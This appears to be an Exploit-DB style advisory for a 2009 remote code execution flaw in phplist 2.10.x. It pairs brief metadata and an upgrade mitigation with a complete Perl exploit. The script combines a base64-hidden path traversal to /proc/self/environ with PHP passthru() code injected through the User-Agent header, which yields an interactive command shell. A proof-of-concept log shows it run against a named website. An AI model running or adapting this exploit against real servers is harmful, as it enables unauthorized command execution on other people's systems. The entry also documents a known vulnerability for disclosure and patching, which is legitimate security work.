phplist 2.10.x remote code execution

vendor:

phplist

by:

AmnPardaz Security Research Team and mozi2weed@yahoo.com

9.3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: phplist

Affected Version From: 2.10.x

Affected Version To: 2.10.x

Patch Exists: YES

Related CWE: N/A

CPE: a:phplist:phplist

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2009

phplist 2.10.x remote code execution

A vulnerability in phplist 2.10.x allows remote attackers to execute arbitrary code via a crafted request to admin/index.php. An attacker can use the LWP::UserAgent->agent() method to execute arbitrary commands on the vulnerable system.

Mitigation:

Upgrade to the latest version of phplist.

Source

Exploit-DB raw data:

# phplist 2.10.x remote code execution
# Credit:AmnPardaz Security Research Team for the vuln
# exploit author mozi2weed@yahoo.com
#
# Poc
#[root@server pentest]# perl phplistrce.pl http://www.helpcenter.it/list/
#phplist 2.10.x 0day RCE may b others by mozi: uname -a
#686 i686 i386 GNU/Linux
#mozi: w
# 04:43:41 up 108 days, 21:20,  0 users,  load average: 0.24, 0.29, 0.28
#USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
#mozi:
#
#
Exploit Code:
[root@server pentest]# cat phplistrce.pl
#!/usr/bin/perl -w
use strict;
use LWP 5.64;
use LWP::UserAgent;
use MIME::Base64;


print "phplist 2.10.x 0day RCE may b others by ";

my $browser = LWP::UserAgent->new;
my $url1 = $ARGV[0];
my ($line,$response);


my $url .= "L2FkbWluL2luZGV4LnBocD9fU0VSVkVSW0NvbmZpZ0ZpbGVdPS4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Byb2Mvc2VsZi9lbnZpcm9u";
my $decode = decode_base64($url);

my $all = $url1.$decode;

print "mozi: ";
while( $line = <STDIN>) {
chop($line);
$browser->agent("mozi<?passthru('$line 2> /dev/stdout');?>mozi");
$response = $browser->get( $all );
if ($response->content =~ /mozi(.*)mozi/s) {
print $1;
}
print "mozi: ";
}

# milw0rm.com [2009-01-28]